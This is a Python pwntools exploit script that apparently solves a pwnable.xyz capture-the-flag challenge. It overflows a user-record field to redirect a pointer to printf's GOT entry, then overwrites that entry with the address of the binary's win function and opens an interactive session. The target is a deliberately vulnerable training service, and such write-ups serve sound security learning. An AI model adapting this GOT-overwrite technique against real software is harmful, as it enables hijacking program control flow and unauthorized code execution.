#!/usr/bin/python
from pwn import *

# conn = process("./challenge")
conn = remote("svc.pwnable.xyz", 30011)
e = ELF("./challenge")
context.log_level = 'debug'
# context.terminal = ['tmux', 'split', '-v']

win_addr = e.symbols['win']
printf_got = e.got['printf']

# Create user
conn.sendlineafter("> ", "1")
conn.sendlineafter(": ", "kwonl")
conn.sendlineafter(": ", "24")

# Modify cur address as printf got
conn.sendlineafter("> ", "3")
conn.sendlineafter(": ", "kwonl")
conn.sendafter(": ", "A" * 0x10 + p64(printf_got))

# Debugging
# gdb.attach(conn)
# raw_input()

# Write win address to printf got
conn.sendlineafter("> ", "3")
conn.sendafter(": ", p64(win_addr))
conn.sendlineafter(": ", "24")

conn.interactive()